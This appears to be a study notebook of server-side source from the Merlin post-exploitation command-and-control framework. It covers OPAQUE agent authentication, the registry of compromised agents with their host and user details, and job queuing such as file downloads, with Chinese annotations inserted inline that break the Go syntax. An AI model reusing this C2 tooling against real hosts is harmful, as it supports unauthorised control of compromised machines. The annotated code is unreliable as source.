服务器的步骤是:  
  
1 - 接收用户的 UserRegisterInit  
  
2 - 使用私钥创建一个 NewServerRegister  
  
3 - 使用用户的 UserRegisterInit 调用 Init 并将生成的 ServerRegisterInit 发送给用户  
  
4 - 接收用户的 UserRegisterComplete  
  
5 - 使用用户的 UserRegisterComplete 调用 Complete 并保存生成的 ServerRegisterComplete  
  
认证流程¶  
OPAQUE 身份验证旨在与密钥交换协议结合使用以对用户进行身份验证。Gopaque 支持外部密钥交换协议或嵌入到身份验证过程中的协议。流程的纯 OPAQUE 部分只是一个 2 条消息的过程,但使用密钥交换进行验证通常会添加第三条消息。以下步骤假设密钥交换嵌入在身份验证过程中,而不是在外部。  
  
用户的步骤是:  
  
1 - 创建一个带有嵌入式密钥交换的 NewUserAuth  
  
2 - 使用密码调用 Init 并将生成的 UserAuthInit 发送到服务器  
  
3 - 接收服务器的 ServerAuthComplete  
  
4 - 使用服务器的 ServerAuthComplete 调用 Complete。生成的 UserAuthFinish 包含用户和服务器密钥信息。如果我们不使用嵌入式密钥交换,这将是最后一步。既然我们是,请获取生成的 UserAuthComplete 并将其发送到服务器。  
  
服务器的步骤是:  
  
1 - 接收用户的 UserAuthInit  
  
2 - 创建一个带有嵌入式密钥交换的 NewServerAuth  
  
3 - 使用用户的 UserAuthInit 和持久化的 ServerRegisterComplete 调用 Complete 并将生成的 ServerAuthComplete 发送给用户。如果我们不使用嵌入式密钥交换,这将是最后一步。  
  
4 - 接收用户的 UserAuthComplete  
  
5 - 使用用户的 UserAuthComplete 调用 Finish  
  

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package opaque  
  
import (  
   // Standard  
   "bytes"  
   "encoding/gob"  
   "fmt"  
  
   // 3rd Party  
   "github.com/cretz/gopaque/gopaque"  
   "github.com/fatih/color"  
   uuid "github.com/satori/go.uuid"  
   "go.dedis.ch/kyber/v3"  
   // Internal"  
   "github.com/Ne0nd0g/merlin/pkg/core"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
   gob.Register(Opaque{})  
}  
  
const (  
   // RegInit is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Initialization step  
   RegInit = 1  
   // RegComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Registration Complete step  
   RegComplete = 2  
   // AuthInit is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Initialization step  
   AuthInit = 3  
   // AuthComplete is used to denote that the embedded payload contains data for the OPAQUE protocol Authorization Complete step  
   AuthComplete = 4  
   // ReRegister is used to instruct the Agent it needs to execute the OPAQUE Registration process with the server  
   ReRegister = 5  
   // ReAuthenticate is used to instruct the Agent it needs to execute the OPAQUE Authentication process with the server  
   ReAuthenticate = 6  
)  
  
// Opaque is a structure that is embedded into Merlin messages as a payload used to complete OPAQUE registration and authentication  
type Opaque struct {  
   Type    int    // The type of OPAQUE message from the constants  
   Payload \[\]byte // OPAQUE payload data  
}  
  
// Server is the structure that holds information for the various steps of the OPAQUE protocol as the server  
type Server struct {  
   reg         \*gopaque.ServerRegister  
   regComplete \*gopaque.ServerRegisterComplete  
   auth        \*gopaque.ServerAuth  
   Kex         \*gopaque.KeyExchangeSigma  
}  
  
// ServerRegisterInit is used to perform the OPAQUE Password Authenticated Key Exchange (PAKE) protocol Registration steps for the server  
func ServerRegisterInit(AgentID uuid.UUID, o Opaque, key kyber.Scalar) (Opaque, \*Server, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerRegisterInit() function...")  
   }  
   server := Server{  
      reg: gopaque.NewServerRegister(gopaque.CryptoDefault, key),  
   }  
   var userRegInit gopaque.UserRegisterInit  
  
   errUserRegInit := userRegInit.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errUserRegInit != nil {  
      return Opaque{}, &server, fmt.Errorf("there was an error unmarshalling the OPAQUE user register initialization message from bytes:\\r\\n%s", errUserRegInit)  
   }  
  
   if !bytes.Equal(userRegInit.UserID, AgentID.Bytes()) {  
      if core.Verbose {  
         message("note", fmt.Sprintf("OPAQUE UserID: %v", userRegInit.UserID))  
         message("note", fmt.Sprintf("Merlin Message UserID: %v", AgentID.Bytes()))  
      }  
      return Opaque{}, &server, fmt.Errorf("the OPAQUE UserID doesn't match the Merlin message ID")  
   }  
  
   serverRegInit := server.reg.Init(&userRegInit)  
  
   serverRegInitBytes, errServerRegInitBytes := serverRegInit.ToBytes()  
   if errServerRegInitBytes != nil {  
      return Opaque{}, &server, fmt.Errorf("there was an error marshalling the OPAQUE server registration initialization message to bytes:\\r\\n%s", errServerRegInitBytes)  
   }  
  
   returnMessage := Opaque{  
      Type:    RegInit,  
      Payload: serverRegInitBytes,  
   }  
  
   return returnMessage, &server, nil  
}  
  
// ServerRegisterComplete consumes the User's response and finishes OPAQUE Registration  
func ServerRegisterComplete(AgentID uuid.UUID, o Opaque, server \*Server) (Opaque, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerRegisterComplete() function...")  
   }  
  
   var userRegComplete gopaque.UserRegisterComplete  
  
   errUserRegComplete := userRegComplete.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errUserRegComplete != nil {  
      return Opaque{}, fmt.Errorf("there was an error unmarshalling the OPAQUE user register complete message from bytes:\\r\\n%s", errUserRegComplete.Error())  
   }  
  
   server.regComplete = server.reg.Complete(&userRegComplete)  
  
   // Check to make sure Merlin  UserID matches OPAQUE UserID  
   if !bytes.Equal(AgentID.Bytes(), server.regComplete.UserID) {  
      return Opaque{}, fmt.Errorf("the OPAQUE UserID: %v doesn't match the Merlin UserID: %v", server.regComplete.UserID, AgentID.Bytes())  
   }  
  
   returnMessage := Opaque{  
      Type: RegComplete,  
   }  
   return returnMessage, nil  
}  
  
// ServerAuthenticateInit is used to authenticate an agent leveraging the OPAQUE Password Authenticated Key Exchange (PAKE) protocol  
func ServerAuthenticateInit(o Opaque, server \*Server) (Opaque, error) {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerAuthenticateInit() function...")  
   }  
  
   // 1 - Receive the user's UserAuthInit  
   server.Kex = gopaque.NewKeyExchangeSigma(gopaque.CryptoDefault)  
   server.auth = gopaque.NewServerAuth(gopaque.CryptoDefault, server.Kex)  
  
   var userInit gopaque.UserAuthInit  
   errFromBytes := userInit.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errFromBytes != nil {  
      return Opaque{}, fmt.Errorf("there was an error unmarshalling the user init message from bytes:\\r\\n%s", errFromBytes)  
   }  
  
   serverAuthComplete, errServerAuthComplete := server.auth.Complete(&userInit, server.regComplete)  
  
   if errServerAuthComplete != nil {  
      return Opaque{}, fmt.Errorf("there was an error completing the OPAQUE server authentication:\\r\\n%s", errServerAuthComplete.Error())  
   }  
  
   if core.Debug {  
      message("debug", fmt.Sprintf("User Auth Init:\\r\\n%+v", userInit))  
      message("debug", fmt.Sprintf("Server Auth Complete:\\r\\n%+v", serverAuthComplete))  
   }  
  
   serverAuthCompleteBytes, errServerAuthCompleteBytes := serverAuthComplete.ToBytes()  
   if errServerAuthCompleteBytes != nil {  
      return Opaque{}, fmt.Errorf("there was an error marshalling the OPAQUE server authentication complete message to bytes:\\r\\n%s", errServerAuthCompleteBytes.Error())  
   }  
  
   returnMessage := Opaque{  
      Type:    AuthInit,  
      Payload: serverAuthCompleteBytes,  
   }  
  
   return returnMessage, nil  
}  
  
// ServerAuthenticateComplete consumes the Agent's authentication messages and finishes the authentication and key exchange  
func ServerAuthenticateComplete(o Opaque, server \*Server) error {  
   if core.Debug {  
      message("debug", "Entering into opaque.ServerAuthenticateComplete() function")  
   }  
  
   var userComplete gopaque.UserAuthComplete  
   errFromBytes := userComplete.FromBytes(gopaque.CryptoDefault, o.Payload)  
   if errFromBytes != nil {  
      return fmt.Errorf("there was an error unmarshalling the user complete message from bytes:\\r\\n%s", errFromBytes)  
   }  
  
   // server auth finish  
   errAuthFinish := server.auth.Finish(&userComplete)  
   if errAuthFinish != nil {  
      return fmt.Errorf("there was an error finishing authentication:\\r\\n%s", errAuthFinish)  
   }  
  
   return nil  
}  
  
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI  
func message(level string, message string) {  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}

agents

agents.go
// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package agents  
  
import (  
	"crypto/rand"  
	"crypto/rsa"  
	"fmt"  
	"os"  
	"path"  
	"path/filepath"  
	"strconv" 字符串类型转换  
	"strings"  
	"time"  
  
	// 3rd Party  
	"github.com/satori/go.uuid"  
  
	// Merlin  
	messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"  
	"github.com/Ne0nd0g/merlin/pkg/core"  
	"github.com/Ne0nd0g/merlin/pkg/logging"  
	"github.com/Ne0nd0g/merlin/pkg/messages"  
	"github.com/Ne0nd0g/merlin/pkg/opaque"  
)  
  
// Global Variables  
  
// Agents contains all of the instantiated agent object that are accessed by other modules  
var Agents = make(map\[uuid.UUID\]\*Agent)  
  
// groups map agent(s) to a string for bulk access  
var groups = make(map\[string\]\[\]uuid.UUID)  
  
func init() {  
	globalUUID, err := uuid.FromString("ffffffff-ffff-ffff-ffff-ffffffffffff")  
	if err == nil {  
		groups\["all"\] = \[\]uuid.UUID{globalUUID}  
	}  
}  
  
// Agent is a server side structure that holds information about a Merlin Agent  
type Agent struct {  
	ID             uuid.UUID  
	Platform       string  
	Architecture   string  
	UserName       string  
	UserGUID       string  
	HostName       string  
	Ips            \[\]string  
	Pid            int  
	Process        string  
	agentLog       \*os.File 日志文件  
	InitialCheckIn time.Time  
	StatusCheckIn  time.Time  
	Version        string  
	Build          string  
	WaitTime       string  
	PaddingMax     int  
	MaxRetry       int  
	FailedCheckin  int  
	Skew           int64  
	Proto          string  
	KillDate       int64  
	RSAKeys        \*rsa.PrivateKey // RSA Private/Public key pair; Private key used to decrypt messages  
	PublicKey      rsa.PublicKey   // Public key used to encrypt messages  
	Secret         \[\]byte          // secret is used to perform symmetric encryption operations 用于执行对称加密操作  
	OPAQUE         \*opaque.Server  // Holds information about OPAQUE Registration and Authentication  保存OPAQUE的注册和认证信息  
	JA3            string          // The JA3 signature applied to the agent's TLS client 保存ja3指纹  
	Note           string          // Operator notes for an agent  
}  
交换服务端和客户端的公私钥  
// KeyExchange is used to exchange public keys between the server and agent  
func KeyExchange(m messages.Base) (messages.Base, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.KeyExchange function")  
	}  
  
	serverKeyMessage := messages.Base{  
		ID:      m.ID,  
		Version: 1.0,  
		Type:    messages.KEYEXCHANGE,  
		Padding: core.RandStringBytesMaskImprSrc(4096),  
	}  
  
	// Make sure the agent has previously authenticated  
	if !isAgent(m.ID) {  
		return serverKeyMessage, fmt.Errorf("the agent does not exist")  
	}  
  
	logging.Server(fmt.Sprintf("Received new agent key exchange from %s", m.ID))  
  
	ke := m.Payload.(messages.KeyExchange)  
  
	if core.Debug {  
		message("debug", fmt.Sprintf("Received new public key from %s:\\r\\n%v", m.ID, ke.PublicKey))  
	}  
  
	serverKeyMessage.ID = Agents\[m.ID\].ID  
	Agents\[m.ID\].PublicKey = ke.PublicKey  
  
	// Generate key pair  
	privateKey, rsaErr := rsa.GenerateKey(rand.Reader, 4096)  
	if rsaErr != nil {  
		return serverKeyMessage, fmt.Errorf("there was an error generating the RSA key pair:\\r\\n%s", rsaErr.Error())  
	}  
  
	Agents\[m.ID\].RSAKeys = privateKey  
  
	if core.Debug {  
		message("debug", fmt.Sprintf("Server's Public Key: %v", Agents\[m.ID\].RSAKeys.PublicKey))  
	}  
  
	pk := messages.KeyExchange{  
		PublicKey: Agents\[m.ID\].RSAKeys.PublicKey,  
	}  
  
	serverKeyMessage.ID = m.ID  
	serverKeyMessage.Payload = pk  
  
	if core.Debug {  
		message("debug", "Leaving agents.KeyExchange returning without error")  
		message("debug", fmt.Sprintf("serverKeyMessage: %v", serverKeyMessage))  
	}  
	return serverKeyMessage, nil  
}  
检索每个agent的加密密钥用于解密任何协议的message  
// GetEncryptionKey retrieves the per-agent payload encryption key used to decrypt messages for any protocol  
func GetEncryptionKey(agentID uuid.UUID) (\[\]byte, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.GetEncryptionKey function")  
	}  
  
	if !isAgent(agentID) {  
		return nil, fmt.Errorf("agent %s does not exist", agentID)  
	}  
    key是agent的secret  
	key := Agents\[agentID\].Secret  
	if len(key) <= 0 { 确认id为uuid 的agnet中保存的key不为空  
		return nil, fmt.Errorf("the encryption key for %s is empty", agentID)  
	}  
	if core.Debug {  
		message("debug", "Leaving agents.GetEncryptionKey function")  
	}  
	return key, nil 返回key  
}  
  
// UpdateInfo is used to update an agent's information with the passed in message data 根据传入的message更新保存在服务端的agent信息  
func (a \*Agent) UpdateInfo(info messages.AgentInfo) { Agent结构体的updateinfo方法  
	if core.Debug {  
		message("debug", "Entering into agents.UpdateInfo function")  
	}  
  
	if core.Debug { 调式模式下输出接收到的的agent信息  
		message("debug", "Processing new agent info")  
		message("debug", fmt.Sprintf("Agent Version: %s", info.Version))  
		message("debug", fmt.Sprintf("Agent Build: %s", info.Build))  
		message("debug", fmt.Sprintf("Agent waitTime: %s", info.WaitTime))  
		message("debug", fmt.Sprintf("Agent skew: %d", info.Skew))  
		message("debug", fmt.Sprintf("Agent paddingMax: %d", info.PaddingMax))  
		message("debug", fmt.Sprintf("Agent maxRetry: %d", info.MaxRetry))  
		message("debug", fmt.Sprintf("Agent failedCheckin: %d", info.FailedCheckin))  
		message("debug", fmt.Sprintf("Agent proto: %s", info.Proto))  
		message("debug", fmt.Sprintf("Agent killdate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))  
		message("debug", fmt.Sprintf("Agent JA3 signature: %s", info.JA3))  
	} 日志记录接收到的agent信息  
	a.Log("Processing AgentInfo message:")  
	a.Log(fmt.Sprintf("\\tAgent Version: %s ", info.Version))  
	a.Log(fmt.Sprintf("\\tAgent Build: %s ", info.Build))  
	a.Log(fmt.Sprintf("\\tAgent waitTime: %s ", info.WaitTime))  
	a.Log(fmt.Sprintf("\\tAgent skew: %d ", info.Skew))  
	a.Log(fmt.Sprintf("\\tAgent paddingMax: %d ", info.PaddingMax))  
	a.Log(fmt.Sprintf("\\tAgent maxRetry: %d ", info.MaxRetry))  
	a.Log(fmt.Sprintf("\\tAgent failedCheckin: %d ", info.FailedCheckin))  
	a.Log(fmt.Sprintf("\\tAgent proto: %s ", info.Proto))  
	a.Log(fmt.Sprintf("\\tAgent KillDate: %s", time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))  
	a.Log(fmt.Sprintf("\\tAgent JA3 signature: %s", info.JA3))  
对agent对象的属性进行赋值(结构体的各个变量)  
	a.Version = info.Version  
	a.Build = info.Build  
	a.WaitTime = info.WaitTime  
	a.Skew = info.Skew  
	a.PaddingMax = info.PaddingMax  
	a.MaxRetry = info.MaxRetry  
	a.FailedCheckin = info.FailedCheckin  
	a.Proto = info.Proto  
	a.KillDate = info.KillDate  
	a.JA3 = info.JA3  
  
	a.Architecture = info.SysInfo.Architecture  
	a.HostName = info.SysInfo.HostName  
	a.Process = info.SysInfo.Process  
	a.Pid = info.SysInfo.Pid  
	a.Ips = info.SysInfo.Ips  
	a.Platform = info.SysInfo.Platform  
	a.UserName = info.SysInfo.UserName  
	a.UserGUID = info.SysInfo.UserGUID  
  
	if core.Debug {  
		message("debug", "Leaving agents.UpdateInfo function")  
	}  
}  
  
// Log is used to write log messages to the agent's log file 向日志文件写日志  
func (a \*Agent) Log(logMessage string) {  
	if core.Debug {  
		message("debug", "Entering into agents.Log")  
	}  
	\_, err := a.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), logMessage))  
	if err != nil {  
		message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", err.Error()))  
	}  
}  
  
// message is used to send a broadcast message to all connected clients 向所有的客户端发送广播信息  
func message(level string, message string) {  
	m := messageAPI.UserMessage{  
		Message: message,  
		Time:    time.Now().UTC(),  
		Error:   false,  
	}  
	switch level {  
	case "info":  
		m.Level = messageAPI.Info  
	case "note":  
		m.Level = messageAPI.Note  
	case "warn":  
		m.Level = messageAPI.Warn  
	case "debug":  
		m.Level = messageAPI.Debug  
	case "success":  
		m.Level = messageAPI.Success  
	case "plain":  
		m.Level = messageAPI.Plain  
	default:  
		m.Level = messageAPI.Plain  
	}  
	messageAPI.SendBroadcastMessage(m)  
}  
  
// RemoveAgent deletes the agent object from Agents map by its ID  
func RemoveAgent(agentID uuid.UUID) error {  
	if isAgent(agentID) {  
		delete(Agents, agentID)  
		return nil  
	}  
	return fmt.Errorf("%s is not a known agent and was not removed", agentID)  
}  
  
// GetAgentFieldValue returns a string value for the field value belonging to the specified Agent  
func GetAgentFieldValue(agentID uuid.UUID, field string) (string, error) {  
	if isAgent(agentID) {  
		switch strings.ToLower(field) {  
		case "platform":  
			return Agents\[agentID\].Platform, nil  
		case "architecture":  
			return Agents\[agentID\].Architecture, nil  
		case "username":  
			return Agents\[agentID\].UserName, nil  
		case "waittime":  
			return Agents\[agentID\].WaitTime, nil  
		}  
		return "", fmt.Errorf("the provided agent field could not be found: %s", field)  
	}  
	return "", fmt.Errorf("%s is not a valid agent", agentID.String())  
}  
  
// isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID exists  
func isAgent(agentID uuid.UUID) bool { 遍历Agent查询传入的uuid是否在Agent Map保存的agnet的id中  
	for agent := range Agents {  
		if Agents\[agent\].ID == agentID {  
			return true  
		}  
	}  
	return false  
}  
  
// New creates a new Agent and returns the object but does not add it to the global agents map 新建一个agent对象但是不把他添加到全局的agent map中  
func New(agentID uuid.UUID) (Agent, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.newAgent function")  
	}  
	var agent Agent 创建agent对象(结构体)  
	if isAgent(agentID) { 确定添加的agent之前不存在  
		return agent, fmt.Errorf("the %s agent already exists", agentID)  
	}  
新建agent目录  
	agentsDir := filepath.Join(core.CurrentDir, "data", "agents")  
新建agent uuid对应的文件  
	// Create a directory for the new agent's files  
	if \_, err := os.Stat(filepath.Join(agentsDir, agentID.String())); os.IsNotExist(err) {  
		errM := os.MkdirAll(filepath.Join(agentsDir, agentID.String()), 0750)  
		if errM != nil {  
			return agent, fmt.Errorf("there was an error creating a directory for agent %s:\\r\\n%s",  
				agentID.String(), err.Error())  
		} 新建agent log文件  
		// Create the agent's log file  
		agentLog, errC := os.Create(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt"))  
		if errC != nil {  
			return agent, fmt.Errorf("there was an error creating the agent\_log.txt file for agnet %s:\\r\\n%s",  
				agentID.String(), err.Error())  
		}  
  
		// Change the file's permissions  
		errChmod := os.Chmod(agentLog.Name(), 0600)  
		if errChmod != nil {  
			return agent, fmt.Errorf("there was an error changing the file permissions for the agent log:\\r\\n%s", errChmod.Error())  
		}  
  
		if core.Verbose {  
			message("note", fmt.Sprintf("Created agent log file at: %s agent\_log.txt",  
				path.Join(agentsDir, agentID.String())))  
		}  
	}  
	// Open agent's log file for writing 创建日志文件的写操作  
	f, err := os.OpenFile(filepath.Clean(filepath.Join(agentsDir, agentID.String(), "agent\_log.txt")), os.O\_APPEND|os.O\_WRONLY, 0600)  
	if err != nil {  
		return agent, fmt.Errorf("there was an error openeing the %s agent's log file:\\r\\n%s", agentID.String(), err.Error())  
	}  
对agent对象属性赋值和初始化时间  
	agent.ID = agentID  
	agent.agentLog = f  
	agent.InitialCheckIn = time.Now().UTC()  
	agent.StatusCheckIn = time.Now().UTC()  
  
	\_, errAgentLog := agent.agentLog.WriteString(fmt.Sprintf("\[%s\]%s\\r\\n", time.Now().UTC().Format(time.RFC3339), "Instantiated agent"))  
	if errAgentLog != nil {  
		message("warn", fmt.Sprintf("There was an error writing to the agent log agents.Log:\\r\\n%s", errAgentLog.Error()))  
	}  
  
	if core.Debug {  
		message("debug", "Leaving agents.newAgent function without error")  
	}  
	return agent, nil  
}  
  
// GetLifetime returns the amount an agent could live without successfully communicating with the server 获取agnet在不能与server成功通信情况下可视为存活的数量  
func GetLifetime(agentID uuid.UUID) (time.Duration, error) {  
	if core.Debug {  
		message("debug", "Entering into agents.GetLifeTime")  
	}  
	// Check to make sure it is a known agent  
	if !isAgent(agentID) {  
		return 0, fmt.Errorf("%s is not a known agent", agentID)  
	}  
  
	// Check to see if PID is set to know if the first AgentInfo message has been sent 通过检查是否设置了did来确认是否发送了第一条agentinfo信息  
	if Agents\[agentID\].Pid == 0 {  
		return 0, nil  
	}  
time.ParseDuration解析agent设置的waittime的字符串为时间  
	sleep, errSleep := time.ParseDuration(Agents\[agentID\].WaitTime)  
	if errSleep != nil {  
		return 0, fmt.Errorf("there was an error parsing the agent WaitTime to a duration:\\r\\n%s", errSleep.Error())  
	}如果设置为0直接返回报错,waittime时间耗尽  
	if sleep == 0 {  
		return 0, fmt.Errorf("agent WaitTime is equal to zero")  
	}  
检查重试次数是否耗尽  
	retry := Agents\[agentID\].MaxRetry  
	if retry == 0 {  
		return 0, fmt.Errorf("agent MaxRetry is equal to zero")  
	}  
歪曲?的时间(设置的允许通信的时常?)  
	skew := time.Duration(Agents\[agentID\].Skew) \* time.Millisecond  
	maxRetry := Agents\[agentID\].MaxRetry  
计算死前最长的存活时间  
	// Calculate the worst case scenario that an agent could be alive before dying  
	lifetime := sleep + skew  
	for maxRetry > 1 {  
		lifetime = lifetime + (sleep + skew)  
		maxRetry--  
	}  
查看当前时间加上存活时间是否超过设定的kill agent时间,超过则返回报错  
	if Agents\[agentID\].KillDate > 0 {  
		if time.Now().Add(lifetime).After(time.Unix(Agents\[agentID\].KillDate, 0)) {  
			return 0, fmt.Errorf("the agent lifetime will exceed the killdate")  
		}  
	}  
  
	if core.Debug {  
		message("debug", "Leaving agents.GetLifeTime without error")  
	}  
  
	return lifetime, nil  
  
}  
  
// SetWaitTime updates an Agent's sleep amount or Wait Time  
func SetWaitTime(agentID uuid.UUID, wait string) error {  
	if isAgent(agentID) {  
		\_, err := time.ParseDuration(wait)  
		if err != nil {  
			return fmt.Errorf("there was an error parsing %s to a duration for the Agent's WaitTime:\\r\\n%s", wait, err)  
		}  
		Agents\[agentID\].WaitTime = wait  
		return nil  
	}  
	return fmt.Errorf("the %s Agent is unknown", agentID.String())  
}  
  
// SetMaxRetry updates an Agent's MaxRetry limit  
func SetMaxRetry(agentID uuid.UUID, retry string) error {  
	if isAgent(agentID) {  
		r, err := strconv.Atoi(retry)  
		if err != nil {  
			return fmt.Errorf("there was an error converting %s to an integer for Agent %s:\\n%s", retry, agentID, err)  
		}  
		Agents\[agentID\].MaxRetry = r  
		return nil  
	}  
	return fmt.Errorf("the %s Agent is unknown", agentID.String())  
}  
  
// SetAgentNote updates the agent's note field 设置agnet的备注信息  
func SetAgentNote(agentID uuid.UUID, note string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
	Agents\[agentID\].Note = note  
	return nil  
}  
  
// GroupAddAgent adds an agent to a group 将agent加入到一个分组下面  
func GroupAddAgent(agentID uuid.UUID, groupName string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
	grp, ok := groups\[groupName\]  
	if !ok {  
		groups\[groupName\] = \[\]uuid.UUID{agentID} 如果不存在则创建一个名称为groupname的agent数组  
	} else {  
		// Don't add it to the group if it's already there 如果这个agent的uuid存在在任何一个分组中则不再向其他分组添加  
		for \_, a := range groups\[groupName\] {  
			if uuid.Equal(a, agentID) {  
				return nil  
			}  
		}  
		groups\[groupName\] = append(grp, agentID)  
	}  
	return nil  
}  
  
// GroupListAll lists groups as a table of {groupName,agentID}GroupListAll 将组列为 {groupName,agentID} 的表  
func GroupListAll() \[\]\[\]string {  
	var out \[\]\[\]string  
	for groupName, agentIDs := range groups {  
		for \_, aID := range agentIDs {  
			out = append(out, \[\]string{groupName, aID.String()})  
		}  
	}  
	return out  
}  
  
// GroupListNames list out just the names of existing groups GroupListNames 仅列出目前存在的组的名称  
func GroupListNames() \[\]string {  
	keys := make(\[\]string, 0, len(groups))  
	for k := range groups {  
		keys = append(keys, k)  
	}  
	return keys  
}  
  
// GroupRemoveAgent removes an agent from a group  
func GroupRemoveAgent(agentID uuid.UUID, groupName string) error {  
	if !isAgent(agentID) {  
		return fmt.Errorf("%s is not a known agent", agentID)  
	}  
  
	grp, ok := groups\[groupName\]  
	if !ok {  
		return fmt.Errorf("%s is not a group", groupName)  
	}  
  
	tmp := grp\[:0\]  
	for \_, a := range grp { 遍历grp,如果传入的uuid不为grp中的元素,则添加入tmp数组  
		if !uuid.Equal(a, agentID) {  
			tmp = append(tmp, a)  
		}  
	}  
	groups\[groupName\] = tmp 新的grp的对应的数组元素为去掉uuid的tmp数组  
  
	//Make sure to delete group if empty 如果groupName数组为空,删除该数组  
	if len(groups\[groupName\]) == 0 {  
		delete(groups, groupName)  
	}  
  
	return nil  
}  

server/jobs

jobs.go
// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package jobs  
  
import (  
   // Standard  
   "crypto/sha256"  
   "encoding/base64"  
   "fmt"  
   "io"  
   "io/ioutil"  
   "os"  
   "path/filepath"  
   "strconv"  
   "strings"  
   "time"  
  
   // 3rd Party  
   "github.com/fatih/color"  
   uuid "github.com/satori/go.uuid"  
  
   // Internal  
   "github.com/Ne0nd0g/merlin/pkg/agents"  
   messageAPI "github.com/Ne0nd0g/merlin/pkg/api/messages"  
   "github.com/Ne0nd0g/merlin/pkg/core"  
   merlinJob "github.com/Ne0nd0g/merlin/pkg/jobs"  
   "github.com/Ne0nd0g/merlin/pkg/messages"  
)  
  
// JobsChannel contains a map of all instantiated jobs created on the server by each Agent's ID  
JobsChannel 包含由每个 Agent 的 ID 在服务器上创建的所有实例化 job 的映射  
var JobsChannel = make(map\[uuid.UUID\]chan merlinJob.Job)  
  
// Jobs is a map that contains specific information about an individual job and is embedded in the JobsChannel  
  
Jobs 是一个map,其中包含有关单个jon的结构体信息,并嵌入在 JobsChannel 中  
var Jobs = make(map\[string\]info)  
  
//  info is a structure for holding data for single task assigned to a single agent  
info 是一种结构体,用于保存分配给单个agent的单个task的数据信息包括uuid、job类型、  
type info struct {  
   AgentID   uuid.UUID // ID of the agent the job belong to  
   Type      string    // Type of job  
   Token     uuid.UUID // A unique token for each task that acts like a CSRF token to prevent multiple job messages 每个任务的token,防止伪造job数据  
   Status    int       // Use JOB\_ constants 使用JOB\_的常数  
   Chunk     int       // The chunk number chunk切片传输数据序号  
   Created   time.Time // Time the job was created 创建时间  
   Sent      time.Time // Time the job was sent to the agent 发送时间  
   Completed time.Time // Time the job finished 完成时间  
   Command   string    // The actual command job 包含的命令  
}  
  
// Add creates a job and adds it to the specified agent's job channel 创建一个job并加入到指定的job channel中  
func Add(agentID uuid.UUID, jobType string, jobArgs \[\]string) (string, error) {  
   // TODO turn this into a method of the agent struct  
   if core.Debug {  
      message("debug", fmt.Sprintf("In jobs.Job function for agent: %s", agentID.String()))  
      message("debug", fmt.Sprintf("In jobs.Add function for type: %s, arguments: %v", jobType, jobType))  
   } 调试信息输出当前job的agent uuid和任务类型  
  
   agent, ok := agents.Agents\[agentID\]  
   //if !ok {  
   // return "", fmt.Errorf("%s is not a valid agent", agentID)  
   //}  
  
   var job merlinJob.Job  
  
   switch jobType {  
   case "agentInfo":  
      job.Type = merlinJob.CONTROL 常量merlin 控制message CONTROL = 11 // AgentControl  
      job.Payload = merlinJob.Command{  
         Command: "agentInfo", 命令为输出agent info  
      }  
   case "download":  
      job.Type = merlinJob.FILETRANSFER 文件传输  
      if ok {  
         agent.Log(fmt.Sprintf("Downloading file from agent at %s\\n", jobArgs\[0\]))  
      }  
  
      p := merlinJob.FileTransfer{ merilin文件传输  
      /\*type FileTransfer struct {  
	FileLocation string \`json:"dest"\` 文件地址  
